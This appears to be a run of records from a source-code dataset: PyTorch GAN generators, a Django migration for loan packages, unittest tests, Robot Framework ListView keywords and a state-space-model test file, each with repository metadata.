nn.LeakyReLU(0.2), nn.Conv2d(64, 3, kernel_size=5, padding=2, stride=1), nn.Tanh()) def forward(self, z, step=0): print "no extra noise in decoder" out = self.l1(z) out = out.view(self.batch_size,512,4,4) out = self.l2(out) h2 = self.bn1(out) out = self.l3(h2) h3 = self.bn2(out) h4l = self.l4(h3) h4 = self.bn3(h4l) h5l = self.l5(h4) out = self.bn4(h5l) out = self.l6(out) print "gen size", out.size() return out, h4l #Returns 96x128 #3x4 -> 6x8 -> 12x16 -> 24x32 -> 48x64 -> 96x128 class Generator_ConvDuck(nn.Module): def __init__(self, batch_size, nz): super(Generator_ConvDuck, self).__init__() self.batch_size = batch_size self.nz = nz self.l1 = nn.Sequential( nn.Linear(nz*2, 512*3*4)) self.l2 = nn.Sequential( nn.Conv2d(512, 256, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(256,affine=True), nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(256, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128,affine=True), nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(128, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128,affine=True), nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(128, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128,affine=True), nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(128, 64, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(64,affine=True), nn.LeakyReLU(0.2), nn.Upsample(scale_factor=2), nn.Conv2d(64, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32,affine=True), nn.LeakyReLU(0.2), nn.Conv2d(32, 3, kernel_size=5, padding=2, stride=1), nn.Tanh()) def forward(self, z): print "no extra noise in decoder" z_extra = 0.0 * to_var(torch.randn(self.batch_size, self.nz)) out = self.l1(torch.cat((z,z_extra), 1)) out = out.view(self.batch_size,512,3,4) out = self.l2(out) return out class Gen_Bot_Conv32(nn.Module): def __init__(self, batch_size,nz): super(Gen_Bot_Conv32, self).__init__() self.batch_size = batch_size self.l1 = nn.Sequential( nn.Linear(nz, 512*4*4)) self.l2 = nn.Sequential( nn.Conv2d(512, 256, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(256), nn.UpsamplingBilinear2d(scale_factor=2), nn.LeakyReLU(0.02), nn.Conv2d(256, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128), nn.LeakyReLU(0.02), nn.UpsamplingBilinear2d(scale_factor=2), nn.Conv2d(128, 64, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(64), nn.LeakyReLU(0.02), nn.UpsamplingBilinear2d(scale_factor=2), nn.Conv2d(64, 3, kernel_size=5, padding=2, stride=1), nn.Tanh()) def forward(self, z, give_pre=False): if give_pre: out = z else: out = self.l1(z) out = out.view(self.batch_size,512,4,4) out = self.l2(out) return out class Gen_Bot_Conv32_deep1(nn.Module): def __init__(self, batch_size,nz): super(Gen_Bot_Conv32_deep1, self).__init__() self.batch_size = batch_size self.l1 = nn.Sequential( nn.Linear(nz, 512*4*4)) self.l2 = nn.Sequential( nn.Conv2d(512, 256, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(256), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(256, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128), nn.LeakyReLU(0.02), nn.Conv2d(128, 64, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(64), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(64, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(32, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Conv2d(32, 32, kernel_size=1, padding=0, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Conv2d(32, 3, kernel_size=1, padding=0, stride=1), nn.Tanh()) def forward(self, z, give_pre=False): if give_pre: out = z else: out = self.l1(z) out = out.view(self.batch_size,512,4,4) out = self.l2(out) return out class Gen_Bot_Conv32_deepbottleneck(nn.Module): def __init__(self, batch_size,nz): super(Gen_Bot_Conv32_deepbottleneck, self).__init__() self.batch_size = batch_size self.l1 = nn.Sequential( nn.Linear(nz, 32*4*4)) self.l2 = nn.Sequential( nn.Conv2d(32, 256, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(256), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(256, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128), nn.LeakyReLU(0.02), nn.Conv2d(128, 64, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(64), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(64, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(32, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Conv2d(32, 32, kernel_size=1, padding=0, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Conv2d(32, 3, kernel_size=1, padding=0, stride=1), nn.Tanh()) def forward(self, z, give_pre=False): if give_pre: out = z else: out = self.l1(z) out = out.view(self.batch_size,32,4,4) out = self.l2(out) return out class Gen_Bot_Joint(nn.Module): def __init__(self, batch_size,nz): super(Gen_Bot_Joint, self).__init__() self.batch_size = batch_size self.l1 = nn.Sequential( nn.Linear(nz, 32*4*4)) self.l2 = nn.Sequential( nn.Conv2d(32, 256, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(256), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(256, 128, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(128), nn.LeakyReLU(0.02), nn.Conv2d(128, 64, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(64), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(64, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Upsample(scale_factor=2), nn.Conv2d(32, 32, kernel_size=5, padding=2, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Conv2d(32, 32, kernel_size=1, padding=0, stride=1), nn.BatchNorm2d(32), nn.LeakyReLU(0.02), nn.Conv2d(32, 3*5, kernel_size=1, padding=0, stride=1), nn.Tanh()) def forward(self, z): out = self.l1(z) out = out.view(self.batch_size,32,4,4) out = self.l2(out) return out
33.470588
69
0.547193
1,333
9,673
3.83871
0.08027
0.057846
0.077389
0.109048
0.869064
0.865351
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0.824897
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9,673
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8
9bdd0aaaeaca32d36ec1b1d239c475fa324cceb3
3,209
py
Python
minmarkets/migrations/0001_initial.py
minsystems/minloansng
225f7c553dc1c7180431c5b84250560b74b0e9cc
[ "PostgreSQL", "MIT" ]
null
null
null
minmarkets/migrations/0001_initial.py
minsystems/minloansng
225f7c553dc1c7180431c5b84250560b74b0e9cc
[ "PostgreSQL", "MIT" ]
null
null
null
minmarkets/migrations/0001_initial.py
minsystems/minloansng
225f7c553dc1c7180431c5b84250560b74b0e9cc
[ "PostgreSQL", "MIT" ]
null
null
null
# Generated by Django 3.0.2 on 2020-05-17 17:05 import accounts.models import cloudinary.models from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='LoanCalculators', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(blank=True, max_length=300, null=True)), ('price', models.IntegerField(default=3000)), ('premium_package', models.BooleanField(default=True)), ('package_owner', models.CharField(max_length=300)), ('description', models.TextField()), ('file', models.CharField(blank=True, help_text='download link here!', max_length=300, null=True)), ('product_code', models.CharField(blank=True, max_length=10, null=True)), ('image', cloudinary.models.CloudinaryField(blank=True, max_length=255, null=True, verbose_name=accounts.models.upload_image_path)), ('timestamp', models.DateTimeField(auto_now_add=True)), ('updated', models.DateTimeField(auto_now=True)), ], ), migrations.CreateModel( name='LoanCollectionPackage', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(blank=True, max_length=300, null=True)), ('price', models.IntegerField(default=3000)), ('premium_package', models.BooleanField(default=True)), ('package_owner', models.CharField(max_length=300)), ('description', models.TextField()), ('product_code', models.CharField(blank=True, max_length=10, null=True)), ('image', cloudinary.models.CloudinaryField(blank=True, max_length=255, null=True, verbose_name=accounts.models.upload_image_path)), ('timestamp', models.DateTimeField(auto_now_add=True)), ('updated', models.DateTimeField(auto_now=True)), ], ), migrations.CreateModel( name='LoanPackage', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(blank=True, max_length=300, null=True)), ('price', models.IntegerField(default=3000)), ('premium_package', models.BooleanField(default=True)), ('package_owner', models.CharField(max_length=300)), ('description', models.TextField()), ('product_code', models.CharField(blank=True, max_length=10, null=True)), ('image', cloudinary.models.CloudinaryField(blank=True, max_length=255, null=True, verbose_name=accounts.models.upload_image_path)), ('timestamp', models.DateTimeField(auto_now_add=True)), ('updated', models.DateTimeField(auto_now=True)), ], ), ]
50.936508
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0.604861
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3,209
5.854489
0.226006
0.061872
0.057113
0.085669
0.841354
0.830777
0.830777
0.830777
0.830777
0.830777
0
0.026371
0.255531
3,209
62
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51.758065
0.765174
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0.054545
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0
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0
0
0
0
0
0
8
5018dc69bc33f2a63403c8af95e1810a9cc305cb
4,980
py
Python
test/t1000/unit/application/dependency_injection/result_factory/__init__.py
helcerion/T1000
25684e88dc8adb37fe07ff358f84f797f7b9c716
[ "MIT" ]
1
2021-08-23T01:33:03.000Z
2021-08-23T01:33:03.000Z
test/t1000/unit/application/dependency_injection/result_factory/__init__.py
helcerion/T1000
25684e88dc8adb37fe07ff358f84f797f7b9c716
[ "MIT" ]
20
2019-10-29T10:55:27.000Z
2022-03-12T00:04:50.000Z
test/t1000/unit/application/dependency_injection/result_factory/__init__.py
helcerion/T1000
25684e88dc8adb37fe07ff358f84f797f7b9c716
[ "MIT" ]
null
null
null
import unittest from unittest.mock import patch from src.t1000.application.dependency_injection.result_factory import EventsResultFactory class EventsResultFactoryTestCase(unittest.TestCase): def setUp(self): return super().setUp() def tearDown(self): return super().tearDown() @patch('src.t1000.application.dependency_injection.result_factory.HtmlEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.ConsoleEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.EventsCommandFactory') @patch('src.t1000.application.dependency_injection.result_factory.EventsResourceFactory') def test_create_with_resource_exception(self, resource_mock, command_mock, console_mock, html_mock): resource_mock.create.side_effect = Exception('Raise exception') with self.assertRaises(Exception) as e: EventsResultFactory.create('exception', 'exception', 'exception', 'exception', 'exception') self.assertEqual(str(e.exception), 'Raise exception') resource_mock.create.assert_called_once_with('exception') command_mock.create.assert_not_called() console_mock.assert_not_called() html_mock.assert_not_called() @patch('src.t1000.application.dependency_injection.result_factory.HtmlEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.ConsoleEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.EventsCommandFactory') @patch('src.t1000.application.dependency_injection.result_factory.EventsResourceFactory') def test_create_with_command_exception(self, resource_mock, command_mock, console_mock, html_mock): command_mock.create.side_effect = Exception('Raise exception') with self.assertRaises(Exception) as e: EventsResultFactory.create('exception', 'events_detail', 'exception', 'Events', 'in_memory') self.assertEqual(str(e.exception), 'Raise exception') resource_mock.create.assert_called_once_with('events_detail') command_mock.create.assert_called_once_with(use_case='exception', entity='Events', persistence_type='in_memory') console_mock.assert_not_called() html_mock.assert_not_called() @patch('src.t1000.application.dependency_injection.result_factory.HtmlEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.ConsoleEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.EventsCommandFactory') @patch('src.t1000.application.dependency_injection.result_factory.EventsResourceFactory') def test_create_with_exception(self, resource_mock, command_mock, console_mock, html_mock): with self.assertRaises(Exception) as e: EventsResultFactory.create('exception', 'events_detail', 'get_events_from_today', 'Events', 'in_memory') self.assertEqual(str(e.exception), 'Result type exception does not supported') resource_mock.create.assert_called_once_with('events_detail') command_mock.create.assert_called_once_with(use_case='get_events_from_today', entity='Events', persistence_type='in_memory') console_mock.assert_not_called() html_mock.assert_not_called() @patch('src.t1000.application.dependency_injection.result_factory.HtmlEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.ConsoleEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.EventsCommandFactory') @patch('src.t1000.application.dependency_injection.result_factory.EventsResourceFactory') def test_create_cmd(self, resource_mock, command_mock, console_mock, html_mock): EventsResultFactory.create('cmd', 'events_detail', 'get_events_from_today', 'Events', 'in_memory') resource_mock.create.assert_called_once_with('events_detail') command_mock.create.assert_called_once_with(use_case='get_events_from_today', entity='Events', persistence_type='in_memory') console_mock.assert_called_once() html_mock.assert_not_called() @patch('src.t1000.application.dependency_injection.result_factory.HtmlEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.ConsoleEventsResult') @patch('src.t1000.application.dependency_injection.result_factory.EventsCommandFactory') @patch('src.t1000.application.dependency_injection.result_factory.EventsResourceFactory') def test_create_html(self, resource_mock, command_mock, console_mock, html_mock): EventsResultFactory.create('html', 'events_detail', 'get_events_from_today', 'Events', 'in_memory') resource_mock.create.assert_called_once_with('events_detail') command_mock.create.assert_called_once_with(use_case='get_events_from_today', entity='Events', persistence_type='in_memory') console_mock.assert_not_called() html_mock.assert_called_once()
63.037975
132
0.781124
567
4,980
6.522046
0.10582
0.04543
0.107896
0.164684
0.898864
0.898864
0.898864
0.885073
0.873716
0.865062
0
0.019039
0.114056
4,980
78
133
63.846154
0.81913
0
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0.606061
0
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0.419076
0.334538
0
0
0
0
0.393939
1
0.106061
false
0
0.045455
0.030303
0.19697
0
0
0
0
null
0
0
1
1
1
1
1
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1
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0
0
0
0
0
0
7
5037b65828494312ee14b10d82972d43bcdec323
17,387
py
Python
src/WhiteLibrary/keywords/items/listview.py
Omenia/robotframework-whitelibrary
1d01926fc45fb08b731b14afe6875063ddbaf9fa
[ "Apache-2.0" ]
54
2016-10-13T23:48:12.000Z
2022-03-04T03:35:34.000Z
src/WhiteLibrary/keywords/items/listview.py
Omenia/robotframework-whitelibrary
1d01926fc45fb08b731b14afe6875063ddbaf9fa
[ "Apache-2.0" ]
95
2016-09-11T18:43:31.000Z
2021-02-25T18:04:03.000Z
src/WhiteLibrary/keywords/items/listview.py
Omenia/robotframework-whitelibrary
1d01926fc45fb08b731b14afe6875063ddbaf9fa
[ "Apache-2.0" ]
19
2017-04-20T09:40:48.000Z
2022-02-25T18:52:37.000Z
from TestStack.White.UIItems import ListView from WhiteLibrary.keywords.librarycomponent import LibraryComponent from WhiteLibrary.keywords.robotlibcore import keyword from WhiteLibrary.utils.click import Clicks class ListViewKeywords(LibraryComponent): @keyword def double_click_listview_cell(self, locator, column_name, row_index, x_offset=0, y_offset=0): """Double clicks a listview cell. ``locator`` is the locator of the listview or ListView item object. Locator syntax is explained in `Item locators`. ``column_name`` is the name of the column. ``row_index`` is the zero-based row index. Optional arguments ``x_offset`` and ``y_offset`` can be used to define the coordinates to click at, relative to the center of the item. Example: | Double Click Listview Cell | id:addressList | Street | 0 | # double click cell in the column "Street" of the first row | """ cell = self._get_cell(locator, column_name, row_index) Clicks.double_click(cell, x_offset, y_offset) @keyword def double_click_listview_cell_by_index(self, locator, row_index, column_index, x_offset=0, y_offset=0): """Double clicks a listview cell at index. ``locator`` is the locator of the listview or ListView item object. Locator syntax is explained in `Item locators`. ``row_index`` is the zero-based row index. ``column_index`` is the zero-based column index. Optional arguments ``x_offset`` and ``y_offset`` can be used to define the coordinates to click at, relative to the center of the item. Example: | Double Click Listview Cell By Index | id:addressList | 0 | 0 | """ cell = self._get_cell_by_index(locator, row_index, column_index) Clicks.double_click(cell, x_offset, y_offset) @keyword def double_click_listview_row(self, locator, column_name, cell_text, x_offset=0, y_offset=0): """Double clicks a listview row. ``locator`` is the locator of the listview or ListView item object. Locator syntax is explained in `Item locators`. ``column_name`` and ``cell_text`` define the row. Row is the first matching row where text in column ``column_name`` is ``cell_text``. Optional arguments ``x_offset`` and ``y_offset`` can be used to define the coordinates to click at, relative to the center of the item. Example: | Double Click Listview Row | id:addressList | City | Helsinki | # double click row that has the text "Helsinki" in the column "City" | """ row = self._get_row(locator, column_name, cell_text) Clicks.double_click(row, x_offset, y_offset) @keyword def double_click_listview_row_by_index(self, locator, row_index, x_offset=0, y_offset=0): """Double clicks a listview row at index. ``locator`` is the locator of the listview or ListView item object. Locator syntax is explained in `Item locators`. ``row_index`` is the zero-based row index. Optional arguments ``x_offset`` and ``y_offset`` can be used to define the coordinates to click at, relative to the center of the item. Example: | Double Click Listview Row By Index | id:addressList | 4 | """ row = self._get_row_by_index(locator, row_index) Clicks.double_click(row, x_offset, y_offset) @keyword def double_click_listview_row_by_text(self, locator, text, x_offset=0, y_offset=0): """Double clicks a listview row with matching text. ``locator`` is the locator of the listview or the ListView item object. Locator syntax is explained in `Item locators`. ``text`` is the exact text of the row. If there are multiple cells on the row, the text will be matched against the first cell. Optional arguments ``x_offset`` and ``y_offset`` can be used to define the coordinates to click at, relative to the center of the item. Example: | Double Click Listview Row By Text | id:cities | Berlin | """ row = self._get_row_by_text(locator, text) Clicks.double_click(row, x_offset, y_offset) @keyword def get_listview_cell_text(self, locator, column_name, row_index): """Returns text of a listview cell. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) return cell.Text @keyword def get_listview_cell_text_by_index(self, locator, row_index, column_index): """Returns text of a listview cell at index. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) return cell.Text @keyword def get_listview_row_text(self, locator, column_name, cell_text): """Returns a list containing text of each cell in a listview row. See `Double Click Listview Row` for details about the arguments ``locator``, ``column_name``, and ``cell_text``. """ row = self._get_row(locator, column_name, cell_text) return [cell.Text for cell in row.Cells] @keyword def get_listview_row_text_by_index(self, locator, row_index): """Returns text of a listview row as a list. See `Double Click Listview Row By Index` for details about arguments ``locator`` and ``row_index``. """ row = self._get_row_by_index(locator, row_index) return [cell.Text for cell in row.Cells] @keyword def listview_cell_at_index_should_contain(self, locator, row_index, column_index, expected): """Verifies that the given listview cell contains text ``expected``. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) if expected not in cell.Text: raise AssertionError(u"Cell ({}, {}) did not contain text '{}'".format(row_index, column_index, expected)) @keyword def listview_cell_at_index_should_not_contain(self, locator, row_index, column_index, expected): """Verifies that the given listview cell does not contain text ``expected``. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) if expected in cell.Text: raise AssertionError( u"Cell ({}, {}) should not have contained text '{}'".format(row_index, column_index, expected) ) @keyword def listview_cell_should_contain(self, locator, column_name, row_index, expected): """Verifies that the given listview cell contains text ``expected``. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) if expected not in cell.Text: raise AssertionError(u"Cell did not contain text '{}'".format(expected)) @keyword def listview_cell_should_not_contain(self, locator, column_name, row_index, expected): """Verifies that the given listview cell does not contain text ``expected``. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) if expected in cell.Text: raise AssertionError(u"Cell should not have contained text '{}'".format(expected)) @keyword def listview_cell_text_at_index_should_be(self, locator, row_index, column_index, expected): """Verifies that listview cell text is ``expected``. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) if cell.Text != expected: raise AssertionError( u"Cell ({}, {}) text should have been '{}', found '{}'".format( row_index, column_index, expected, cell.Text ) ) @keyword def listview_cell_text_at_index_should_not_be(self, locator, row_index, column_index, expected): """Verifies that listview cell text is not ``expected``. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) if cell.Text == expected: raise AssertionError( u"Cell ({}, {}) text should not have been '{}'".format(row_index, column_index, expected) ) @keyword def listview_cell_text_should_be(self, locator, column_name, row_index, expected): """Verifies that listview cell text is ``expected``. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) if cell.Text != expected: raise AssertionError(u"Cell text should have been '{}', found '{}'".format(expected, cell.Text)) @keyword def listview_cell_text_should_not_be(self, locator, column_name, row_index, expected): """Verifies that listview cell text is not ``expected``. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) if cell.Text == expected: raise AssertionError(u"Cell text should not have been '{}'".format(expected)) @keyword def listview_row_at_index_should_contain(self, locator, row_index, expected): """Verifies that any cell in the given listview row contains text ``expected``. See `Double Click Listview Row By Index` for details about arguments ``locator`` and ``row_index``. """ row = self._get_row_by_index(locator, row_index) for cell in row.Cells: if expected in cell.Text: return raise AssertionError(u"Row {} did not contain text '{}'".format(row_index, expected)) @keyword def listview_row_at_index_should_not_contain(self, locator, row_index, expected): """Verifies that any cell in the given listview row does not contain text ``expected``. See `Double Click Listview Row By Index` for details about arguments ``locator`` and ``row_index``. """ listview = self.state._get_typed_item_by_locator(ListView, locator) row = listview.Rows.Get(int(row_index)) for cell in row.Cells: if expected in cell.Text: raise AssertionError(u"Row {} should not have contained text '{}'".format(row_index, expected)) @keyword def listview_row_should_contain(self, locator, column_name, cell_text, expected): """Verifies that the given listview row contains text ``expected``. See `Double Click Listview Row` for details about the arguments ``locator``, ``column_name``, and ``cell_text``. """ row = self._get_row(locator, column_name, cell_text) for cell in row.Cells: if expected in cell.Text: return raise AssertionError( u"Row defined by cell '{}'='{}' did not contain text '{}'".format(column_name, cell_text, expected) ) @keyword def listview_row_should_not_contain(self, locator, column_name, cell_text, expected): """Verifies that the given listview row does not contain text ``expected``. See `Double Click Listview Row` for details about the arguments ``locator``, ``column_name``, and ``cell_text``. """ row = self._get_row(locator, column_name, cell_text) for cell in row.Cells: if expected in cell.Text: raise AssertionError( u"Row defined by cell '{}'='{}' should not have contained text '{}'".format( column_name, cell_text, expected ) ) @keyword def right_click_listview_cell(self, locator, column_name, row_index, x_offset=0, y_offset=0): """Right clicks a listview cell using its column name and row index. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) Clicks.right_click(cell, x_offset, y_offset) @keyword def right_click_listview_cell_by_index(self, locator, row_index, column_index, x_offset=0, y_offset=0): """Right clicks a listview cell at index. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) Clicks.right_click(cell, x_offset, y_offset) @keyword def right_click_listview_row(self, locator, column_name, cell_text, x_offset=0, y_offset=0): """Right clicks a listview row that has given text in given column. See `Double Click Listview Row` for details about the arguments ``locator``, ``column_name``, and ``cell_text``. """ row = self._get_row(locator, column_name, cell_text) Clicks.right_click(row, x_offset, y_offset) @keyword def right_click_listview_row_by_index(self, locator, row_index, x_offset=0, y_offset=0): """Right clicks a listview row at index. See `Double Click Listview Row By Index` for details about arguments ``locator`` and ``row_index``. """ row = self._get_row_by_index(locator, row_index) Clicks.right_click(row, x_offset, y_offset) @keyword def right_click_listview_row_by_text(self, locator, text, x_offset=0, y_offset=0): """Right clicks a listview row with matching text. See `Double Click Listview Row By Text` for details about arguments ``locator`` and ``text``. """ row = self._get_row_by_text(locator, text) Clicks.right_click(row, x_offset, y_offset) @keyword def select_listview_cell(self, locator, column_name, row_index): """Selects a listview cell. See `Double Click Listview Cell` for details about arguments ``locator``, ``column_name``, and ``row_index``. """ cell = self._get_cell(locator, column_name, row_index) cell.Click() @keyword def select_listview_cell_by_index(self, locator, row_index, column_index): """Selects a listview cell at index. See `Double Click Listview Cell By Index` for details about arguments ``locator``, ``row_index``, and ``column_index``. """ cell = self._get_cell_by_index(locator, row_index, column_index) cell.Click() @keyword def select_listview_row(self, locator, column_name, cell_text): """Selects a listview row. See `Double Click Listview Row` for details about the arguments ``locator``, ``column_name``, and ``cell_text``. """ listview = self.state._get_typed_item_by_locator(ListView, locator) listview.Select(column_name, cell_text) @keyword def select_listview_row_by_index(self, locator, row_index): """Selects a listview row at index. See `Double Click Listview Row By Index` for details about arguments ``locator`` and ``row_index``. """ listview = self.state._get_typed_item_by_locator(ListView, locator) listview.Select(int(row_index)) @keyword def select_listview_row_by_text(self, locator, text): """Selects a listview row with matching text. See `Double Click Listview Row By Text` for details about arguments ``locator`` and ``text``. """ row = self._get_row_by_text(locator, text) row.Select() def _get_row(self, locator, column_name, cell_text): listview = self.state._get_typed_item_by_locator(ListView, locator) return listview.Rows.Get(column_name, cell_text) def _get_row_by_index(self, locator, index): listview = self.state._get_typed_item_by_locator(ListView, locator) return listview.Rows.Get(int(index)) def _get_row_by_text(self, locator, text): listview = self.state._get_typed_item_by_locator(ListView, locator) return next((row for row in listview.Rows if row.Cells[0].Text == text), None) def _get_cell(self, locator, column_name, row_index): listview = self.state._get_typed_item_by_locator(ListView, locator) return listview.Cell(column_name, int(row_index)) def _get_cell_by_index(self, locator, row, column): listview = self.state._get_typed_item_by_locator(ListView, locator) return listview.Rows.Get(int(row)).Cells[int(column)]
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Python
ief_core/tests/old_tests/test_ssm.py
zeshanmh/ief
1b7dbd340ecb8ccf40d22de989e3bc3d92135a45
[ "MIT" ]
5
2021-04-11T04:49:24.000Z
2022-03-28T18:43:45.000Z
ief_core/tests/old_tests/test_ssm.py
clinicalml/ief
97bcaad85ec820fbe062a86c6c500a308904f029
[ "MIT" ]
1
2021-12-13T06:33:16.000Z
2021-12-16T02:04:14.000Z
ief_core/tests/old_tests/test_ssm.py
zeshanmh/ief
1b7dbd340ecb8ccf40d22de989e3bc3d92135a45
[ "MIT" ]
1
2020-12-21T14:01:29.000Z
2020-12-21T14:01:29.000Z
import torch import torch.nn as nn import numpy as np import pytorch_lightning as pl import sys import os import optuna from lifelines.utils import concordance_index from sklearn.metrics import r2_score from torch.utils.data import DataLoader, TensorDataset from torchcontrib.optim import SWA from pytorch_lightning import Trainer, seed_everything from pytorch_lightning.callbacks import EarlyStopping, ModelCheckpoint from argparse import ArgumentParser from distutils.util import strtobool sys.path.append('../') sys.path.append('../../data/ml_mmrf') sys.path.append('../../data/') from ml_mmrf_v1.data import load_mmrf from synthetic.synthetic_data import load_synthetic_data_trt, load_synthetic_data_noisy from semi_synthetic.ss_data import * from models.ssm.ssm import SSM, SSMAtt from models.ssm.ssm_baseline import SSMBaseline def test_ssm_sota(): sys.path.append('../../../trvae') sys.path.append('../../../trvae/dmm') sys.path.append('../../../trvae/models') from dmm import DMM ddata = load_ss_data(1000, gen_fly=True, eval_mult=500, in_sample_dist=False, add_missing=True) if torch.cuda.is_available(): device = torch.device('cuda:0') else: device = torch.device('cpu') # _, valid_loader = load_ss_helper(ddata, tvt='valid', device=device, bs=600) dim_stochastic = 48; dim_hidden = 300 dim_base = ddata['train']['B'].shape[-1] dim_data = ddata['train']['X'].shape[-1] dim_treat = ddata['train']['A'].shape[-1] C = 0.01; ttype = 'gated'; etype = 'lin' model = DMM(dim_stochastic, dim_hidden, dim_base, dim_data, dim_treat, C = C, ttype = ttype, etype=etype, inftype = 'rnn_relu', combiner_type = 'pog', include_baseline = True, reg_type = 'l1', reg_all=True, augmented=False) model.to(device) fname = '../../../trvae/dmm/good_models/sota_ssm_mm.pt' print ('loading',fname) model.load_state_dict(torch.load(fname)) print(f'eval set size: {ddata["valid"][0]["X"].shape}') nelbos = [] for i in range(5): _, valid_loader = load_ss_helper(ddata, tvt='valid', bs=600, device=device, valid_fold=i) batch_nelbos = [] for i_batch, valid_batch_loader in enumerate(valid_loader): (nelbo, nll, kl, _), _ = model.forward_unsupervised(*valid_batch_loader, anneal = 1.) nelbo, nll, kl = nelbo.item(), nll.item(), kl.item() batch_nelbos.append(nelbo) # (nelbo, nll, kl, _), _ = model.forward(*valid_loader.dataset.tensors, anneal = 1.) nelbos.append(np.mean(batch_nelbos)) print(f'NELBO (on ss data) of trained model from which semi-synthetic dataset was sampled: {np.mean(nelbos)}, std: {np.std(nelbos)}') # batch_nelbos = [] # for i_batch, valid_batch_loader in enumerate(valid_loader): # (nelbo, nll, kl, _), _ = model.forward_unsupervised(*valid_batch_loader, anneal = 1.) # nelbo, nll, kl = nelbo.item(), nll.item(), kl.item() # batch_nelbos.append(nelbo) # (nelbo, nll, kl, _), _ = model.forward_unsupervised(*valid_loader.dataset.tensors, anneal = 1.) # print(f'NELBO (on ss data) of trained model from which semi-synthetic dataset was sampled: {np.mean(batch_nelbos)}') def test_ssm_load(): checkpoint_path = '../tbp_logs/ssm_lin_semi_synthetic_subsample_best_epoch=03689-val_loss=-225.67.ckpt' checkpoint = torch.load(checkpoint_path, map_location=lambda storage, loc: storage) hparams = checkpoint['hyper_parameters'] ssm = SSM(**hparams); ssm.setup(1) ssm.load_state_dict(checkpoint['state_dict']) assert 'dim_data' in ssm.hparams assert 'dim_treat' in ssm.hparams assert 'dim_base' in 